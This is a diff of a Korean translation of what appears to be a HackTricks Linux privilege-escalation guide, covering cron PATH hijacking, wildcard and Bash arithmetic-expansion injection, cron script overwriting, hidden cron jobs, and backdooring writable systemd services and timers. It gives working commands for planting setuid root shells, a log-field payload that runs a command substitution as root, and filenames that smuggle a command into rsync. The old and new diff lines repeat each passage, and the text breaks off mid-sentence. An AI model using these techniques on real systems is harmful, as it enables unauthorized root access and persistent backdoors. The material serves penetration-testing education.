• ํŒŒ์ผ์„ ์ƒ์„ฑ?). + + +์˜ˆ์•ฝ๋œ ์ž‘์—… ์ค‘ ์ทจ์•ฝํ•œ ๊ฒƒ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์•„๋งˆ root๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค (wildcard vuln? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€? symlinks ์‚ฌ์šฉ? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŠน์ • ํŒŒ์ผ์„ ์ƒ์„ฑ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron ๊ฒฝ๋กœ +### Cron path -์˜ˆ๋ฅผ ๋“ค์–ด, _/etc/crontab_ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ PATH๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +์˜ˆ๋ฅผ ๋“ค์–ด, _/etc/crontab_ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ PATH๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_user ์‚ฌ์šฉ์ž๊ฐ€ /home/user์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋Š” ์ ์— ์ฃผ์˜ํ•˜์„ธ์š”_) +(_"user"๋ผ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ /home/user์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒƒ์— ์ฃผ๋ชฉํ•˜์„ธ์š”_) -์ด crontab์—์„œ root ์‚ฌ์šฉ์ž๊ฐ€ PATH๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š๊ณ  ์–ด๋–ค ๋ช…๋ น์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด, ์˜ˆ๋ฅผ ๋“ค์–ด: _\* \* \* \* root overwrite.sh_\ -๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด root shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ ์ด crontab ์•ˆ์—์„œ root ์‚ฌ์šฉ์ž๊ฐ€ PATH๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š๊ณ  ์–ด๋–ค ๋ช…๋ น์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ ค ํ•œ๋‹ค๋ฉด. ์˜ˆ๋ฅผ ๋“ค์–ด: _\* \* \* \* root overwrite.sh_\ +๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ root shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron: ์™€์ผ๋“œ์นด๋“œ๊ฐ€ ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ (Wildcard Injection) +### Cron์ด wildcard๊ฐ€ ์žˆ๋Š” script๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ (Wildcard Injection) -์Šคํฌ๋ฆฝํŠธ๊ฐ€ root์— ์˜ํ•ด ์‹คํ–‰๋˜๊ณ  ๋ช…๋ น์–ด ์•ˆ์— โ€œ**\***โ€๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•ด ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘(์˜ˆ: privesc)์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: +root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” script์˜ ๋ช…๋ น์— โ€œ**\***โ€์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘(์˜ˆ: privesc)์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**์™€์ผ๋“œ์นด๋“œ๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ๋กœ ์•ž์— ์žˆ๋Š” ๊ฒฝ์šฐ** _**/some/path/\***_ **์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (์‹ฌ์ง€์–ด** _**./\***_ **๋„ ์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค).** +**If the wildcard is preceded of a path like** _**/some/path/***_*_, it's not vulnerable (even** _**./***_ **is not).** -๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด ๋” ๋งŽ์€ wildcard exploitation ํŠธ๋ฆญ์„ ํ™•์ธํ•˜์„ธ์š”: +๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด ๋” ๋งŽ์€ wildcard exploitation ํŠธ๋ฆญ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} @@ -382,11 +384,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash๋Š” ((...)), $((...)) ๋ฐ let ๋‚ด์—์„œ ์‚ฐ์ˆ  ํ‰๊ฐ€ ์ „์— parameter expansion๊ณผ command substitution์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ root cron/parser๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋กœ๊ทธ ํ•„๋“œ๋ฅผ ์ฝ์–ด ์ด๋ฅผ ์‚ฐ์ˆ  ์ปจํ…์ŠคํŠธ์— ๋„ฃ๋Š”๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” $(...) ํ˜•ํƒœ์˜ command substitution์„ ์ฃผ์ž…ํ•˜์—ฌ cron์ด ์‹คํ–‰๋  ๋•Œ root๋กœ ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Bash๋Š” ((...)), $((...)) ๋ฐ let์—์„œ์˜ arithmetic ํ‰๊ฐ€๋ณด๋‹ค ์•ž์„œ parameter expansion๊ณผ command substitution์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ root cron/parser๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋กœ๊ทธ ํ•„๋“œ๋ฅผ ์ฝ์–ด ์ด๋ฅผ ์‚ฐ์ˆ  ์ปจํ…์ŠคํŠธ์— ๋„ฃ๋Š”๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” cron์ด ์‹คํ–‰๋  ๋•Œ root๋กœ ์‹คํ–‰๋˜๋Š” command substitution $(...)์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- ๋™์ž‘ ์›๋ฆฌ: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. ๋”ฐ๋ผ์„œ `$(/bin/bash -c 'id > /tmp/pwn')0` ๊ฐ™์€ ๊ฐ’์€ ๋จผ์ € ์น˜ํ™˜๋˜์–ด(๋ช…๋ น์ด ์‹คํ–‰๋จ), ๊ทธ ๋’ค ๋‚จ์€ ์ˆซ์ž `0`์ด ์‚ฐ์ˆ ์— ์‚ฌ์šฉ๋˜์–ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์˜ค๋ฅ˜ ์—†์ด ๊ณ„์† ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค. -- Typical vulnerable pattern: +- ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ ํŒจํ„ด: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -396,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: ํŒŒ์‹ฑ๋˜๋Š” ๋กœ๊ทธ์— attacker-controlled ํ…์ŠคํŠธ๋ฅผ ๊ธฐ๋กํ•˜์—ฌ ์ˆซ์ž์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ํ•„๋“œ์— command substitution์„ ํฌํ•จ์‹œํ‚ค๊ณ  ๋์ด ์ˆซ์ž๊ฐ€ ๋˜๊ฒŒ ํ•˜์„ธ์š”. ๋ช…๋ น์ด stdout์œผ๋กœ ์ถœ๋ ฅํ•˜์ง€ ์•Š๋„๋ก ํ•˜๊ฑฐ๋‚˜(๋˜๋Š” ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ) ํ•ด์•ผ ์‚ฐ์ˆ ์ด ์œ ํšจํ•˜๊ฒŒ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค. +- ์•…์šฉ ๋ฐฉ๋ฒ•: ํŒŒ์‹ฑ๋˜๋Š” ๋กœ๊ทธ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ…์ŠคํŠธ๋ฅผ ๊ธฐ๋กํ•˜๊ฒŒ ํ•˜์—ฌ ์ˆซ์ž์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ํ•„๋“œ์— command substitution์ด ํฌํ•จ๋˜๊ณ  ๋งˆ์ง€๋ง‰์— ์ˆซ์ž๊ฐ€ ์˜ค๊ฒŒ ๋งŒ๋“œ์„ธ์š”. ์‚ฐ์ˆ ์ด ์œ ํšจํ•˜๋ ค๋ฉด ๋ช…๋ น์ด stdout์œผ๋กœ ์ถœ๋ ฅํ•˜์ง€ ์•Š๋„๋ก(๋˜๋Š” ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ) ํ•˜์„ธ์š”. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -405,29 +407,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -๋งŒ์•ฝ ๋‹น์‹ ์ด root๋กœ ์‹คํ–‰๋˜๋Š” cron script๋ฅผ **์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, ๋งค์šฐ ์‰ฝ๊ฒŒ shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” **cron ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, ์•„์ฃผ ์‰ฝ๊ฒŒ ์‰˜์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” script๊ฐ€ **directory where you have full access**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ํ•ด๋‹น folder๋ฅผ ์‚ญ์ œํ•˜๊ณ  ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” script๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋‹ค๋ฅธ ํด๋”๋กœ **create a symlink folder to another one** ํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” script๊ฐ€ ๋‹น์‹ ์ด full access๋ฅผ ๊ฐ€์ง„ directory๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ํ•ด๋‹น folder๋ฅผ ์‚ญ์ œํ•˜๊ณ  ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” script๊ฐ€ ์žˆ๋Š” ๋‹ค๋ฅธ ๊ณณ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” symlink folder๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ```bash ln -d -s ``` -### ์ž์ฃผ ์‹คํ–‰๋˜๋Š” cron ์ž‘์—… +### ์ž์ฃผ ์‹คํ–‰๋˜๋Š” cron jobs -ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ 1, 2 ๋˜๋Š” 5๋ถ„๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ 1, 2 ๋˜๋Š” 5๋ถ„๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด, **1๋ถ„ ๋™์•ˆ 0.1์ดˆ๋งˆ๋‹ค ๋ชจ๋‹ˆํ„ฐ๋ง**, **์‹คํ–‰ ํšŸ์ˆ˜๊ฐ€ ์ ์€ ๋ช…๋ น ์ˆœ์œผ๋กœ ์ •๋ ฌ**ํ•˜๊ณ  ๊ฐ€์žฅ ๋งŽ์ด ์‹คํ–‰๋œ ๋ช…๋ น์„ ์‚ญ์ œํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, **1๋ถ„ ๋™์•ˆ 0.1์ดˆ ๊ฐ„๊ฒฉ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋ง**, **์‹คํ–‰ ํšŸ์ˆ˜๊ฐ€ ์ ์€ ๋ช…๋ น์œผ๋กœ ์ •๋ ฌ**ํ•˜๊ณ  ๊ฐ€์žฅ ๋งŽ์ด ์‹คํ–‰๋œ ๋ช…๋ น์„ ์‚ญ์ œํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**๋˜ํ•œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). +**๋‹ค์Œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (์ด ๋„๊ตฌ๋Š” ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค). ### ์ˆจ๊ฒจ์ง„ cron jobs -cronjob์„ ์ƒ์„ฑํ•  ๋•Œ **์ฃผ์„ ๋’ค์— carriage return์„ ๋„ฃ๋Š” ๊ฒƒ** (without newline character)์ฒ˜๋Ÿผ ํ•˜๋ฉด cron job์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์ œ (์ฐธ๊ณ : carriage return char): +์ฃผ์„ ๋’ค์— **carriage return์„ ๋„ฃ๋Š” ๊ฒƒ**(๊ฐœํ–‰ ๋ฌธ์ž ์—†์ด)์œผ๋กœ cronjob์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, cron job์€ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ(์บ๋ฆฌ์ง€ ๋ฆฌํ„ด char๋ฅผ ์ฃผ์˜ํ•˜์„ธ์š”): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,12 +437,12 @@ cronjob์„ ์ƒ์„ฑํ•  ๋•Œ **์ฃผ์„ ๋’ค์— carriage return์„ ๋„ฃ๋Š” ๊ฒƒ** (withou ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ _.service_ ํŒŒ์ผ -์–ด๋–ค `.service` ํŒŒ์ผ์— ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์„ **์ˆ˜์ •ํ•˜์—ฌ** ์„œ๋น„์Šค๊ฐ€ **์‹œ์ž‘๋  ๋•Œ**, **์žฌ์‹œ์ž‘๋  ๋•Œ** ๋˜๋Š” **์ค‘์ง€๋  ๋•Œ** ๋‹น์‹ ์˜ **backdoor๋ฅผ ์‹คํ–‰**ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๋จธ์‹ ์„ ์žฌ๋ถ€ํŒ…ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).\ -์˜ˆ๋ฅผ ๋“ค์–ด, .service ํŒŒ์ผ ์•ˆ์— ๋‹น์‹ ์˜ backdoor๋ฅผ ์ƒ์„ฑํ•˜๊ณ  **`ExecStart=/tmp/script.sh`**๋กœ ์ง€์ •ํ•˜์„ธ์š” +์ž‘์„ฑ ๊ฐ€๋Šฅํ•œ `.service` ํŒŒ์ผ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์„ **์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ** ์„œ๋น„์Šค๊ฐ€ **์‹œ์ž‘๋  ๋•Œ**, **์žฌ์‹œ์ž‘๋  ๋•Œ** ๋˜๋Š” **์ค‘์ง€๋  ๋•Œ** ๋‹น์‹ ์˜ **backdoor๊ฐ€ ์‹คํ–‰๋˜๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋จธ์‹ ์„ ์žฌ๋ถ€ํŒ…ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).\ +์˜ˆ๋ฅผ ๋“ค์–ด .service ํŒŒ์ผ ์•ˆ์— ๋‹น์‹ ์˜ backdoor๋ฅผ **`ExecStart=/tmp/script.sh`** ๋กœ ์ƒ์„ฑํ•˜์„ธ์š” ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ -์„œ๋น„์Šค์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•œ **์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ**, ์ด๋ฅผ ๋ณ€๊ฒฝํ•ด backdoors๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋น„์Šค๊ฐ€ ๋‹ค์‹œ ์‹คํ–‰๋  ๋•Œ backdoors๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. +์„œ๋น„์Šค์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ**, ์ด๋ฅผ ๋ณ€๊ฒฝํ•ด backdoors๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ์„œ๋น„์Šค๊ฐ€ ์žฌ์‹คํ–‰๋  ๋•Œ backdoors๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ### systemd PATH - ์ƒ๋Œ€ ๊ฒฝ๋กœ @@ -448,38 +450,40 @@ cronjob์„ ์ƒ์„ฑํ•  ๋•Œ **์ฃผ์„ ๋’ค์— carriage return์„ ๋„ฃ๋Š” ๊ฒƒ** (withou ```bash systemctl show-environment ``` -๊ฒฝ๋กœ์˜ ํด๋” ์ค‘ ์–ด๋Š ๊ณณ์— **write**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด **escalate privileges**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ์ผ๋“ค์—์„œ **relative paths being used on service configurations**์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: +๊ฒฝ๋กœ์˜ ํด๋”๋“ค ์ค‘ ์–ด๋Š ๊ณณ์—๋“  **write** ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด **escalate privileges** ํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ์—์„œ **relative paths being used on service configurations** ๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ž‘์„ฑ ๊ฐ€๋Šฅํ•œ systemd PATH ํด๋” ์•ˆ์— relative path binary์™€ ๊ฐ™์€ ์ด๋ฆ„์˜ **executable**์„ ๋งŒ๋“ค๊ณ , ์„œ๋น„์Šค๊ฐ€ ์ทจ์•ฝํ•œ ๋™์ž‘(**Start**, **Stop**, **Reload**)์„ ์‹คํ–‰ํ•˜๋„๋ก ์š”์ฒญ๋˜๋ฉด ๋‹น์‹ ์˜ **backdoor**๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค (๊ถŒํ•œ ์—†๋Š” ์‚ฌ์šฉ์ž๋Š” ๋ณดํ†ต ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘/์ค‘์ง€ํ•  ์ˆ˜ ์—†์ง€๋งŒ `sudo -l`์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”). +๊ทธ๋Ÿฐ ๋‹ค์Œ, ์“ฐ๊ธฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ systemd PATH ํด๋” ์•ˆ์— ์ƒ๋Œ€ ๊ฒฝ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ **๊ฐ™์€ ์ด๋ฆ„์˜** **executable**์„ ์ƒ์„ฑํ•˜์„ธ์š”. ์„œ๋น„์Šค๊ฐ€ ์ทจ์•ฝํ•œ ๋™์ž‘(**Start**, **Stop**, **Reload**)์„ ์‹คํ–‰ํ•˜๋„๋ก ์š”์ฒญ๋˜๋ฉด ๋‹น์‹ ์˜ **backdoor๊ฐ€ ์‹คํ–‰**๋ฉ๋‹ˆ๋‹ค(๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๋Š” ๋ณดํ†ต ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘/์ค‘์ง€ํ•  ์ˆ˜ ์—†์ง€๋งŒ `sudo -l`๋กœ ํ™•์ธํ•ด ๋ณด์„ธ์š”). -**์„œ๋น„์Šค์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด๋ ค๋ฉด `man systemd.service`๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.** +**`man systemd.service`๋กœ services์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”.** -## **ํƒ€์ด๋จธ** +## **Timers** -**ํƒ€์ด๋จธ**๋Š” ์ด๋ฆ„์ด `**.timer**`๋กœ ๋๋‚˜๋ฉฐ `**.service**` ํŒŒ์ผ์ด๋‚˜ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•˜๋Š” systemd unit ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. **ํƒ€์ด๋จธ**๋Š” ์บ˜๋ฆฐ๋” ์‹œ๊ฐ„ ์ด๋ฒคํŠธ์™€ monotonic ์‹œ๊ฐ„ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋ณธ์œผ๋กœ ์ง€์›ํ•˜๊ณ  ๋น„๋™๊ธฐ์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด cron์˜ ๋Œ€์•ˆ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**Timers**๋Š” ์ด๋ฆ„์ด `**.timer**`๋กœ ๋๋‚˜๋ฉฐ `**.service**` ํŒŒ์ผ์ด๋‚˜ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•˜๋Š” systemd unit ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. **Timers**๋Š” ๋‹ฌ๋ ฅ ๊ธฐ๋ฐ˜ ์‹œ๊ฐ„ ์ด๋ฒคํŠธ์™€ ๋‹จ์กฐ(monotonic) ์‹œ๊ฐ„ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ง€์›ํ•˜๊ณ  ๋น„๋™๊ธฐ์ ์œผ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์–ด cron์˜ ๋Œ€์•ˆ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ๋ชจ๋“  ํƒ€์ด๋จธ๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋ชจ๋“  ํƒ€์ด๋จธ๋Š” ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash systemctl list-timers --all ``` ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํƒ€์ด๋จธ -ํƒ€์ด๋จธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด systemd.unit์˜ ์ผ๋ถ€ ํ•ญ๋ชฉ(์˜ˆ: `.service` ๋˜๋Š” `.target`)์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํƒ€์ด๋จธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด systemd.unit์˜ ์ผ๋ถ€ ์œ ๋‹›(์˜ˆ: `.service` ๋˜๋Š” `.target`)์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ 